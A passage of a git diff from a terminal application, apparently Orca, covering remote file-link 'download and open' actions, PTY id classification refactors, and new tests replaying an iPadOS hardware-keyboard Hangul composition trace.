 const deps = { worktreeId: 'wt-1', worktreePath: '/repo' }
@@ -95,4 +100,61 @@ describe('terminal file link actions', () => {
     )
     expect(actionRequest).not.toHaveProperty('alternate')
   })
+
+  it('offers the same rows for a remote previewable file, downloading before the OS opens it', () => {
+    mocks.canOpenWithSystemDefault = false
+    const request = vi.fn()
+    handleTerminalFileLink(
+      '/repo/docs/report.html',
+      null,
+      null,
+      plainEvent(),
+      deps,
+      context(request)
+    )
+
+    const actionRequest = request.mock.calls[0][0]
+    expect(actionRequest.primary.label).toBe('Open file')
+    expect(actionRequest.alternate.label).toBe('Download & open with default app')
+
+    actionRequest.alternate.run()
+    expect(mocks.downloadAndOpen).toHaveBeenCalledWith({}, '/repo/docs/report.html')
+    expect(mocks.openDetectedFilePath).not.toHaveBeenCalled()
+  })
+
+  it('keeps row parity between local and remote previewable files', () => {
+    const localRequest = vi.fn()
+    handleTerminalFileLink(
+      '/repo/docs/report.html',
+      null,
+      null,
+      plainEvent(),
+      deps,
+      context(localRequest)
+    )
+    mocks.canOpenWithSystemDefault = false
+    const remoteRequest = vi.fn()
+    handleTerminalFileLink(
+      '/repo/docs/report.html',
+      null,
+      null,
+      plainEvent(),
+      deps,
+      context(remoteRequest)
+    )
+
+    const rowCount = (call: { alternate?: unknown }): number => 1 + (call.alternate ? 1 : 0)
+    expect(rowCount(remoteRequest.mock.calls[0][0])).toBe(rowCount(localRequest.mock.calls[0][0]))
+  })
+
+  // Why: a directory has nothing to hand the OS, and the download row would offer a transfer that
+  // can only fail. The popover is built on hover, so the path shape decides rather than a stat.
+  it('drops the remote download row for a path that announces itself as a directory', () => {
+    mocks.canOpenWithSystemDefault = false
+    const request = vi.fn()
+
+    handleTerminalFileLink('/repo/docs/', null, null, plainEvent(), deps, context(request))
+
+    expect(request.mock.calls[0][0]).not.toHaveProperty('alternate')
+  })
 })
diff --git a/src/renderer/src/components/terminal-pane/terminal-file-link-actions.ts b/src/renderer/src/components/terminal-pane/terminal-file-link-actions.ts
index bd3247ee9d2..6f55be94103 100644
--- a/src/renderer/src/components/terminal-pane/terminal-file-link-actions.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-file-link-actions.ts
@@ -11,6 +11,7 @@ import {
   type TerminalLinkActionContext
 } from './terminal-link-action-request'
 import { resolveKnownWorktreeRootPathLink } from './terminal-worktree-path-link'
+import { downloadAndOpenRemoteTerminalFile } from './terminal-remote-file-download-open'
 import { translate } from '@/i18n/i18n'
 
 export type TerminalFileLinkActionDeps = {
@@ -52,6 +53,45 @@ export function handleTerminalFileLink(
   const canOpenWithSystemDefault = shouldOpenTerminalFileWithSystemDefault(fileContext, mappedPath)
   const isMac = navigator.userAgent.includes('Mac')
 
+  // Why: the OS can only launch a local file, so remote links keep the same row by
+  // downloading first — local and remote workspaces offer the same actions.
+  const systemDefaultRow = worktreeRoot
+    ? canOpenWithSystemDefault
+      ? {
+          label: isMac
+            ? translate(
+                'auto.components.terminal.pane.TerminalLinkActionPopover.openInFinder',
+                'Open in Finder'
+              )
+            : translate(
+                'auto.components.terminal.pane.TerminalLinkActionPopover.openFolder',
+                'Open folder'
+              ),
+          run: () =>
+            openDetectedFilePath(filePath, line, column, { ...deps, openWithSystemDefault: true })
+        }
+      : null
+    : canOpenWithSystemDefault
+      ? {
+          label: translate(
+            'auto.components.terminal.pane.TerminalLinkActionPopover.openWithDefaultApp',
+            'Open with default app'
+          ),
+          run: () =>
+            openDetectedFilePath(filePath, line, column, { ...deps, openWithSystemDefault: true })
+        }
+      : // Why the path shape and not a stat: the popover is built synchronously on hover, and a
+        // remote stat per link would put a round-trip in front of every terminal path. A directory
+        // that does not announce itself with a separator still fails visibly, in the download toast.
+        /[/\\]$/.test(mappedPath)
+        ? null
+        : {
+            label: translate(
+              'auto.components.terminal.pane.TerminalLinkActionPopover.downloadOpenWithDefaultApp',
+              'Download & open with default app'
+            ),
+            run: () => downloadAndOpenRemoteTerminalFile(fileContext, mappedPath)
+          }
   return requestTerminalLinkAction(event, actionContext, {
     destination: actionDestination ?? mappedPath,
     kind: worktreeRoot ? 'workspace' : 'file',
@@ -67,30 +107,6 @@ export function handleTerminalFileLink(
           ),
       run: () => openDetectedFilePath(filePath, line, column, deps)
     },
-    ...(canOpenWithSystemDefault
-      ? {
-          alternate: {
-            label: worktreeRoot
-              ? isMac
-                ? translate(
-                    'auto.components.terminal.pane.TerminalLinkActionPopover.openInFinder',
-                    'Open in Finder'
-                  )
-                : translate(
-                    'auto.components.terminal.pane.TerminalLinkActionPopover.openFolder',
-                    'Open folder'
-                  )
-              : translate(
-                  'auto.components.terminal.pane.TerminalLinkActionPopover.openWithDefaultApp',
-                  'Open with default app'
-                ),
-            run: () =>
-              openDetectedFilePath(filePath, line, column, {
-                ...deps,
-                openWithSystemDefault: true
-              })
-          }
-        }
-      : {})
+    ...(systemDefaultRow ? { alternate: systemDefaultRow } : {})
   })
 }
diff --git a/src/renderer/src/components/terminal-pane/terminal-file-open-routing.ts b/src/renderer/src/components/terminal-pane/terminal-file-open-routing.ts
index cde47e4ab86..346424c960a 100644
--- a/src/renderer/src/components/terminal-pane/terminal-file-open-routing.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-file-open-routing.ts
@@ -1,14 +1,14 @@
 import { absolutePathToFileUri } from '@/components/editor/markdown-internal-links'
-import { getConnectionId } from '@/lib/connection-context'
+import { getWorkspaceFilePreviewPlan, openFileInBrowserTab } from '@/lib/file-preview'
+import { downloadAndOpenRemoteTerminalFile } from './terminal-remote-file-download-open'
 import { detectLanguage } from '@/lib/language-detect'
 import { findWorkspaceFileRoute } from '@/lib/runtime-workspace-file-route'
 import { isPathInsideWorktree, toWorktreeRelativePath } from '@/lib/terminal-links'
 import {
-  isRemoteRuntimeFileOperation,
-  statRuntimePath,
-  type RuntimeFileOperationArgs
-} from '@/runtime/runtime-file-client'
-import { settingsForRuntimeOwner } from '@/runtime/runtime-rpc-client'
+  buildWorkspaceFileContext,
+  canClientOsOpenWorkspaceFile
+} from '@/lib/workspace-file-host-routing'
+import { statRuntimePath, type RuntimeFileOperationArgs } from '@/runtime/runtime-file-client'
 import { useAppStore } from '@/store'
 import { activateAndRevealWorkspace, activateAndRevealWorktree } from '@/lib/worktree-activation'
 import { resolveKnownWorktreeRootPathLink } from './terminal-worktree-path-link'
@@ -50,13 +50,7 @@ export function getTerminalFileContext(
   worktreePath: string,
   runtimeEnvironmentId?: string | null
 ): RuntimeFileOperationArgs {
-  const settings = useAppStore.getState().settings
-  return {
-    settings: settingsForRuntimeOwner(settings, runtimeEnvironmentId),
-    worktreeId: worktreeId || null,
-    worktreePath,
-    connectionId: getConnectionId(worktreeId || null) ?? undefined
-  }
+  return buildWorkspaceFileContext(worktreeId, worktreePath, runtimeEnvironmentId)
 }
 
 // Why: a WSL-runtime pane prints POSIX paths even when the worktree lives on a
@@ -97,7 +91,7 @@ export function shouldOpenTerminalFileWithSystemDefault(
   fileContext: RuntimeFileOperationArgs,
   filePath: string
 ): boolean {
-  return !fileContext.connectionId && !isRemoteRuntimeFileOperation(fileContext, filePath)
+  return canClientOsOpenWorkspaceFile(fileContext, filePath)
 }
 
 let latestOpenDetectedFilePathRequestId = 0
@@ -196,14 +190,28 @@ export function openDetectedFilePath(
       return
     }
 
+    if (openWithSystemDefault && !canOpenWithSystemDefault) {
+      // Why: the popover names Shift+Cmd/Ctrl "Download & open with default app", and the OS
+      // cannot launch a remote path, so the direct gesture must reach the same download.
+      await downloadAndOpenRemoteTerminalFile(fileContext, mappedFilePath)
+      return
+    }
+
     // Why: local HTML files render in Orca's browser for ordinary Cmd/Ctrl-click,
     // and remain the fallback if Shift+Cmd/Ctrl cannot launch the OS default.
-    if (
-      isHtmlFilePath(mappedFilePath) &&
-      shouldOpenTerminalFileWithSystemDefault(fileContext, mappedFilePath)
-    ) {
-      openHtmlFileInBrowser(mappedFilePath, worktreeId)
-      return
+    if (isHtmlFilePath(mappedFilePath)) {
+      if (shouldOpenTerminalFileWithSystemDefault(fileContext, mappedFilePath)) {
+        openHtmlFileInBrowser(mappedFilePath, worktreeId)
+        return
+      }
+      // Why: the same gesture renders remote HTML too, through the doc preview; only an
+      // unsupported plan (e.g. a paired doc outside the worktree) falls back to source.
+      const plan = getWorkspaceFilePreviewPlan(useAppStore.getState(), worktreeId, mappedFilePath)
+      if (plan.status === 'doc-preview') {
+        activateAndRevealWorktree(worktreeId, { providesInitialSurface: true })
+        openFileInBrowserTab({ filePath: mappedFilePath, worktreeId })
+        return
+      }
     }
 
     const store = useAppStore.getState()
diff --git a/src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.ts b/src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.ts
index b8d1bf7b072..582ea1f273d 100644
--- a/src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.ts
@@ -1,4 +1,5 @@
 import { isRemoteRuntimePtyId } from '@/runtime/runtime-terminal-inspection'
+import { isRemoteExecutionHostPtyId } from './remote-execution-host-pty'
 import { getRemoteRuntimePtyEnvironmentId } from '@/runtime/runtime-terminal-stream'
 import { PTY_SESSION_ID_SEPARATOR } from '../../../../shared/pty-session-id-format'
 import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
@@ -74,7 +75,7 @@ export function isSnapshotBackedTerminalPty(ptyId: string | null, worktreeId: st
   if (!ptyId) {
     return false
   }
-  if (isRemoteRuntimePtyId(ptyId) || parseAppSshPtyId(ptyId)) {
+  if (isRemoteExecutionHostPtyId(ptyId)) {
     return false
   }
   // Why: separator-less ids come from the daemon-fail-open LocalPtyProvider;
diff --git a/src/renderer/src/components/terminal-pane/terminal-hidden-worktree-retention.ts b/src/renderer/src/components/terminal-pane/terminal-hidden-worktree-retention.ts
index 51d43e45376..3ad0730d028 100644
--- a/src/renderer/src/components/terminal-pane/terminal-hidden-worktree-retention.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-hidden-worktree-retention.ts
@@ -1,6 +1,6 @@
 import { isRemoteRuntimePtyId } from '@/runtime/runtime-terminal-inspection'
+import { isRemoteExecutionHostPtyId } from './remote-execution-host-pty'
 import { PTY_SESSION_ID_SEPARATOR } from '../../../../shared/pty-session-id-format'
-import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
 import { terminalProviderHasAuthoritativeSnapshot } from '../terminal/terminal-provider-snapshot-capability'
 import {
   TERMINAL_WORKTREE_COLD_PARK_DELAY_MS,
@@ -81,7 +81,7 @@ export function classifyEvictionExemptTerminalPty(
   ptyId: string | null | undefined,
   worktreeId: string
 ): EvictionExemptTerminalPtyRoute | null {
-  if (!ptyId || isRemoteRuntimePtyId(ptyId) || parseAppSshPtyId(ptyId)) {
+  if (!ptyId || isRemoteExecutionHostPtyId(ptyId)) {
     return null
   }
   const separatorIdx = ptyId.lastIndexOf(PTY_SESSION_ID_SEPARATOR)
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-coexistence.test.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-coexistence.test.ts
new file mode 100644
index 00000000000..567ef3fbf5e
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-coexistence.test.ts
@@ -0,0 +1,234 @@
+// @vitest-environment happy-dom
+/**
+ * What the iPadOS Hangul path must not disturb: the composition sessions other
+ * input sources on the same device do run, non-Hangul scripts, desktop
+ * platforms, and anything else that writes to the PTY.
+ */
+import { readFileSync } from 'node:fs'
+import { resolve } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { writeTerminalPastePtyInput } from './terminal-pty-paste-writer'
+import {
+  disposeOpenTerminals,
+  dispatchComposition,
+  dispatchInput,
+  dispatchKey,
+  nextEventLoop,
+  openIosTerminal,
+  pretendIosWeb,
+  typeHangeul,
+  typeJamo,
+  typePrintable,
+  type IosHangulRig
+} from './terminal-ios-hangul-preedit-fixture'
+
+/** Chinese pinyin, which fires real composition events on the very same iPad. */
+async function typePinyin(rig: IosHangulRig, spelling: string, committed: string): Promise<void> {
+  const base = rig.textarea.value
+  dispatchComposition(rig, 'compositionstart', '')
+  for (let index = 1; index <= spelling.length; index += 1) {
+    const preedit = spelling.slice(0, index)
+    dispatchKey(rig, 'keydown', {
+      key: spelling[index - 1],
+      keyCode: 229,
+      isComposing: true
+    })
+    dispatchComposition(rig, 'compositionupdate', preedit)
+    rig.textarea.value = base + preedit
+    dispatchInput(rig, 'insertCompositionText', preedit, { isComposing: true })
+  }
+  rig.textarea.value = base + committed
+  dispatchComposition(rig, 'compositionend', committed)
+  dispatchInput(rig, 'insertCompositionText', committed)
+  await nextEventLoop()
+  await nextEventLoop()
+}
+
+describe('the iPadOS Hangul path alongside everything else', () => {
+  let originalUserAgent: PropertyDescriptor | undefined
+  let originalMaxTouchPoints: PropertyDescriptor | undefined
+
+  beforeEach(() => {
+    originalUserAgent = Object.getOwnPropertyDescriptor(navigator, 'userAgent')
+    originalMaxTouchPoints = Object.getOwnPropertyDescriptor(navigator, 'maxTouchPoints')
+    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
+      measureText: () => ({ width: 10 })
+    } as unknown as CanvasRenderingContext2D)
+  })
+
+  afterEach(() => {
+    disposeOpenTerminals()
+    if (originalUserAgent) {
+      Object.defineProperty(navigator, 'userAgent', originalUserAgent)
+    }
+    if (originalMaxTouchPoints) {
+      Object.defineProperty(navigator, 'maxTouchPoints', originalMaxTouchPoints)
+    }
+    vi.restoreAllMocks()
+    document.body.replaceChildren()
+  })
+
+  describe('Chinese pinyin on the same device', () => {
+    it('commits once, not twice', async () => {
+      pretendIosWeb()
+      const rig = openIosTerminal()
+      await typePinyin(rig, 'ni', '你')
+
+      expect(rig.emitted).toEqual(['你'])
+    })
+
+    it('commits two compositions in a row', async () => {
+      pretendIosWeb()
+      const rig = openIosTerminal()
+      await typePinyin(rig, 'ni', '你')
+      await typePinyin(rig, 'hao', '好')
+
+      expect(rig.emitted).toEqual(['你', '好'])
+    })
+
+    it('still works after Hangul was typed first', async () => {
+      pretendIosWeb()
+      const rig = openIosTerminal()
+      await typeHangeul(rig)
+      await typePinyin(rig, 'ni', '你')
+
+      // The open syllable is committed by the composition that supersedes it.
+      expect(rig.emitted).toEqual(['한', '글', '你'])
+    })
+
+    it('leaves Hangul working after a composition finished', async () => {
+      pretendIosWeb()
+      const rig = openIosTerminal()
+      await typePinyin(rig, 'ni', '你')
+      await typeHangeul(rig)
+      dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+      expect(rig.emitted).toEqual(['你', '한', '글', '\r'])
+    })
+  })
+
+  it('composes Hangul after a composition that never ended, then a blur', async () => {
+    // Why this case: a `composing` flag latched on compositionstart and cleared
+    // only on compositionend stays true forever when the session is abandoned —
+    // blur mid-composition, pane teardown, a cancelled IME — and silently kills
+    // every claimed key for the rest of the pane's life. The state is derived
+    // from the composition tracker instead, which a blur clears.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    dispatchComposition(rig, 'compositionstart', '')
+    dispatchComposition(rig, 'compositionupdate', 'n')
+    rig.textarea.dispatchEvent(new FocusEvent('blur', { bubbles: false }))
+    rig.textarea.value = ''
+    await nextEventLoop()
+
+    await typeHangeul(rig)
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.emitted.join('')).toContain('한글')
+  })
+
+  it('commits a Japanese kana-to-kanji session once, like pinyin', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typePinyin(rig, 'ka', '蚊')
+
+    expect(rig.emitted).toEqual(['蚊'])
+  })
+
+  it('leaves a Hanja lookup to the session that owns its preedit', async () => {
+    // Why: ibus-hangul indexes its Hanja table by digit, but only over a live
+    // composition — which xterm's CompositionHelper already commits.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typePinyin(rig, 'han', '韓')
+
+    expect(rig.emitted).toEqual(['韓'])
+  })
+
+  it('sends a digit after a held syllable as the literal text that ends it', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    await typeJamo(rig, 'ㅏ', '하', { replaces: true })
+    await typePrintable(rig, { key: '1', keyCode: 49, written: '1', replaces: false })
+
+    expect(rig.emitted).toEqual(['하', '1'])
+  })
+
+  describe('desktop platforms', () => {
+    it('is inert on a Mac reporting no touch points', async () => {
+      pretendIosWeb(0)
+      const rig = openIosTerminal()
+      await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+
+      expect(rig.emitted).toEqual(['ㅎ'])
+      expect(rig.compositionView.classList.contains('active')).toBe(false)
+    })
+
+    it('is inert on a Mac whose touch peripheral reports a single point', async () => {
+      pretendIosWeb(1)
+      const rig = openIosTerminal()
+      await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+
+      expect(rig.emitted).toEqual(['ㅎ'])
+      expect(rig.compositionView.classList.contains('active')).toBe(false)
+    })
+
+    it('is inert on Windows and Linux', async () => {
+      for (const userAgent of [
+        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0',
+        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/126.0.0.0'
+      ]) {
+        pretendIosWeb(5, userAgent)
+        const rig = openIosTerminal()
+        await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+        expect(rig.emitted).toEqual(['ㅎ'])
+      }
+    })
+
+    it('reads the platform once, so no second gate can drift from it', () => {
+      const lifecycle = readFileSync(
+        resolve(
+          process.cwd(),
+          'src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.ts'
+        ),
+        'utf8'
+      )
+      expect(lifecycle.match(/const isIosWeb =/g)).toHaveLength(1)
+      expect(lifecycle.match(/isCurrentPlatformIosWeb\(/g)).toHaveLength(1)
+      // And that the one gate is what installs the controller.
+      expect(lifecycle).toMatch(
+        /const iosHangulPreedit = isIosWeb\s*\?\s*installTerminalIosHangulPreedit\(/
+      )
+    })
+  })
+
+  it('composes Hangul after a paste written straight to the transport', async () => {
+    // Why: `writeTerminalPastePtyInput` bypasses xterm entirely, so it fires no
+    // `onData` a mirror could resync on. A hold reads the field only when it
+    // opens, so there is no state for the paste to make stale.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    const sent: string[] = []
+    writeTerminalPastePtyInput({ sendInput: (data) => (sent.push(data), true) }, 'echo ')
+    expect(sent).toEqual(['echo '])
+
+    await typeHangeul(rig)
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.emitted).toEqual(['한', '글', '\r'])
+  })
+
+  it('leaves non-Hangul scripts on the same device reaching the PTY', async () => {
+    // Why: the bypass claims a key that nothing downstream re-sends, so it must
+    // claim only jamo. A Cyrillic or kana key would otherwise lose its keydown,
+    // its keypress and its `input` alike and arrive as nothing.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    for (const key of ['п', 'р', 'α', 'ω', 'あ', 'カ', 'é', 'ü', '€']) {
+      await typePrintable(rig, { key, keyCode: 71, written: key, replaces: false })
+    }
+
+    expect(rig.emitted).toEqual(['п', 'р', 'α', 'ω', 'あ', 'カ', 'é', 'ü', '€'])
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-device-trace.test.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-device-trace.test.ts
new file mode 100644
index 00000000000..210697ab308
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-device-trace.test.ts
@@ -0,0 +1,169 @@
+// @vitest-environment happy-dom
+/**
+ * `gksrmfRownla` → `한글깨쥠`, replayed from a capture taken on an iPad running
+ * iPadOS 26 with a hardware Korean 2-set keyboard (#13345). The recording is
+ * the fixture: an earlier round of this work passed against a hand-written
+ * shape the device never produces, and shipped a bug the device shows in event
+ * 23 of this file.
+ *
+ * What the device does that no reconstruction guessed — batchim migration:
+ *
+ *   keydown 'ㅈ' → deleteContentBackward, insertText '깾'  value '한글깾'
+ *   keydown 'ㅜ' → deleteContentBackward, insertText '깨주' value '한글깨주'
+ *
+ * The `ㅈ` first attaches to `깨` as a final consonant, making a different
+ * codepoint entirely, and only migrates forward once `ㅜ` says it starts the
+ * next syllable. A syllable is not final until the following syllable's vowel
+ * decides, so `깨` must not be committed when the `ㅈ` arrives.
+ *
+ * Two properties are pinned here:
+ *
+ * - `깨` opens on `ㄲ`, a Shift-typed double consonant. Orca's own Shift rule
+ *   (`xterm-bypass-policy.ts`) already hides those keydowns from xterm, so a fix
+ *   living inside xterm's CompositionHelper never sees them and every syllable
+ *   starting with one — 깨 꿈 딸 빵 쓰다 짜다 — stays broken. Sitting upstream of
+ *   the bypass policy is what makes the source of the keydown irrelevant.
+ * - Nothing is sent and then retracted. A field-diffing mirror emits one write
+ *   per edit and erases the superseded syllable with DEL, which raw-mode TUIs
+ *   need not read as "erase one cell" and which costs a round trip each over
+ *   SSH or the relay.
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  deviceTraceKeystrokes,
+  disposeOpenTerminals,
+  dispatchKey,
+  loadIosDeviceTrace,
+  openIosTerminal,
+  pretendIosWeb,
+  replayIosDeviceTrace,
+  typeJamo,
+  typePrintable,
+  type IosHangulRig
+} from './terminal-ios-hangul-preedit-fixture'
+
+const TRACE = loadIosDeviceTrace('ipados-hardware-2set-hangul-batchim-migration-trace.json')
+const KEYSTROKES = deviceTraceKeystrokes(TRACE)
+
+function pretendRecordedDevice(): void {
+  pretendIosWeb(TRACE.maxTouchPoints, TRACE.userAgent)
+}
+
+/** The capture as keystrokes, which adds the keypress the recorder did not log. */
+async function replayKeystrokes(rig: IosHangulRig, upTo = KEYSTROKES.length): Promise<void> {
+  for (const step of KEYSTROKES.slice(0, upTo)) {
+    await typePrintable(rig, step)
+  }
+}
+
+describe('the recorded iPad device trace for 한글깨쥠', () => {
+  beforeEach(() => {
+    // happy-dom has no 2d context, which the DOM renderer's WidthCache requires.
+    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
+      measureText: () => ({ width: 10 })
+    } as unknown as CanvasRenderingContext2D)
+  })
+
+  afterEach(() => {
+    disposeOpenTerminals()
+    vi.restoreAllMocks()
+    document.body.replaceChildren()
+  })
+
+  describe('replayed event for event, exactly as recorded', () => {
+    it('commits per syllable instead of hoarding the batchim migration', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      const drift = await replayIosDeviceTrace(rig, TRACE)
+
+      // The device build reached the wire as ['한', '글', '깨쥠'] — correct text,
+      // but everything from `깨` on arrived in one chunk at blur, because the
+      // hold stalled the moment `깨` became `깾`.
+      expect(TRACE.observedSent).toEqual(['한', '글', '깨쥠'])
+      expect(rig.emitted).toEqual(['한', '글', '깨'])
+      expect(rig.preedit.heldText()).toBe('쥠')
+      expect(drift).toEqual([])
+    })
+
+    it('holds 깨 while the ㅈ could still belong to it', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      // Up to and including the `깾` write, which is where the device build stopped.
+      await replayIosDeviceTrace(rig, { ...TRACE, events: TRACE.events.slice(0, 25) })
+
+      expect(rig.emitted).toEqual(['한', '글'])
+      expect(rig.preedit.heldText()).toBe('깾')
+    })
+
+    it('reaches the PTY as 한글깨쥠', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      await replayIosDeviceTrace(rig, TRACE)
+      dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+      expect(rig.emitted.join('')).toBe(`${TRACE.expected}\r`)
+    })
+
+    it('puts no DEL or backspace byte on the wire', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      await replayIosDeviceTrace(rig, TRACE)
+      dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+      const wire = rig.emitted.join('')
+      expect(wire).not.toContain('\x7f')
+      expect(wire).not.toContain('\b')
+      // One write per syllable plus the Enter: no retraction, and no per-edit churn.
+      expect(rig.emitted).toHaveLength(5)
+    })
+  })
+
+  describe('replayed as keystrokes, with the keypress a browser also fires', () => {
+    it('sends the composed syllables and never the raw jamo', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      await replayKeystrokes(rig)
+      dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+      expect(rig.emitted.join('')).toBe(`${TRACE.expected}\r`)
+      expect(rig.emitted).toEqual(['한', '글', '깨', '쥠', '\r'])
+    })
+
+    it('composes a mid-word Shift+jamo after a committed syllable', async () => {
+      pretendRecordedDevice()
+      const rig = openIosTerminal()
+      // Through `깨`, the eighth keystroke, whose initial is a Shift-typed ㄲ.
+      await replayKeystrokes(rig, 8)
+      dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+      expect(rig.emitted.join('')).toBe('한글깨\r')
+    })
+  })
+
+  it('composes a syllable-initial Shift+jamo with nothing before it', async () => {
+    pretendRecordedDevice()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㄲ', 'ㄲ', { replaces: false, shiftKey: true })
+    await typeJamo(rig, 'ㅐ', '깨', { replaces: true })
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.emitted).toEqual(['깨', '\r'])
+  })
+
+  it('migrates a batchim with nothing committed before it', async () => {
+    // The same rewrite as the trace's `깨` → `깾` → `깨주`, but opening the line:
+    // the settled prefix is empty, so nothing can be released early by accident.
+    pretendRecordedDevice()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㄲ', 'ㄲ', { replaces: false, shiftKey: true })
+    await typeJamo(rig, 'ㅐ', '깨', { replaces: true })
+    await typeJamo(rig, 'ㅈ', '깾', { replaces: true })
+    expect(rig.emitted).toEqual([])
+
+    await typeJamo(rig, 'ㅜ', '깨주', { replaces: true })
+    await typeJamo(rig, 'ㅣ', '쥐', { replaces: true })
+
+    expect(rig.emitted).toEqual(['깨'])
+    expect(rig.preedit.heldText()).toBe('쥐')
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-fixture.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-fixture.ts
new file mode 100644
index 00000000000..7bf337c196b
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-fixture.ts
@@ -0,0 +1,341 @@
+import { readFileSync } from 'node:fs'
+import { resolve } from 'node:path'
+import { Terminal } from '@xterm/xterm'
+import { isCurrentPlatformIosWeb } from '../../lib/ios-web-platform'
+import { installTerminalImeCompositionTracker } from './terminal-ime-composition-tracker'
+import { createTerminalIosHangulPreeditRenderer } from './terminal-ios-hangul-preedit-overlay'
+import {
+  installTerminalIosHangulPreedit,
+  type TerminalIosHangulPreedit
+} from './terminal-ios-hangul-preedit'
+import {
+  shouldBypassXtermKeyboardEvent,
+  shouldSuppressTerminalImeKeyboardEvent
+} from './xterm-bypass-policy'
+
+/**
+ * Shared rig for the iPadOS Hangul suites: a real xterm `Terminal` wired to the
+ * same tracker, bypass policy and preedit controller the pane lifecycle
+ * installs, so the tests exercise the whole path rather than a mock of it.
+ */
+
+export const IPAD_DESKTOP_MODE_UA =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15'
+
+export type IosHangulRig = {
+  compositionView: HTMLElement
+  /** Every chunk the terminal handed to the PTY, in order. */
+  emitted: string[]
+  preedit: TerminalIosHangulPreedit
+  terminal: Terminal
+  textarea: HTMLTextAreaElement
+}
+
+const openTerminals: Terminal[] = []
+
+export function nextEventLoop(): Promise<void> {
+  return new Promise((resolve) => window.setTimeout(resolve, 0))
+}
+
+/** iPadOS reports a Mac user agent, so the touch-point count is what separates it from a desktop. */
+export function pretendIosWeb(maxTouchPoints = 5, userAgent = IPAD_DESKTOP_MODE_UA): void {
+  Object.defineProperty(navigator, 'userAgent', { value: userAgent, configurable: true })
+  Object.defineProperty(navigator, 'maxTouchPoints', {
+    value: maxTouchPoints,
+    configurable: true
+  })
+}
+
+export function disposeOpenTerminals(): void {
+  for (const terminal of openTerminals.splice(0)) {
+    terminal.dispose()
+  }
+}
+
+export function openIosTerminal(
+  options: {
+    isIosWeb?: boolean
+    /** Overrides the tracker, to isolate what the controller reads it for. */
+    isCompositionActive?: () => boolean
+    screenReaderMode?: boolean
+  } = {}
+): IosHangulRig {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const terminal = new Terminal({
+    cols: 40,
+    rows: 8,
+    screenReaderMode: options.screenReaderMode
+  })
+  openTerminals.push(terminal)
+  terminal.open(container)
+  const textarea = terminal.textarea
+  const compositionView = container.querySelector<HTMLElement>('.composition-view')
+  if (!textarea || !compositionView) {
+    throw new Error('xterm did not create the helper textarea and composition view')
+  }
+
+  // Mirrors the lifecycle: the platform decides, so a desktop rig exercises the
+  // real gate rather than a flag the test set.
+  const isIosWeb = options.isIosWeb ?? isCurrentPlatformIosWeb()
+  const tracker = installTerminalImeCompositionTracker(terminal.element)
+  const preedit = isIosWeb
+    ? installTerminalIosHangulPreedit({
+        terminalElement: terminal.element,
+        isCompositionActive: options.isCompositionActive ?? (() => tracker.isActive()),
+        isScreenReaderMode: () => terminal.options.screenReaderMode === true,
+        sendInput: (data) => terminal.input(data),
+        renderPreedit: createTerminalIosHangulPreeditRenderer(terminal)
+      })
+    : { heldText: () => '', dispose: () => undefined }
+
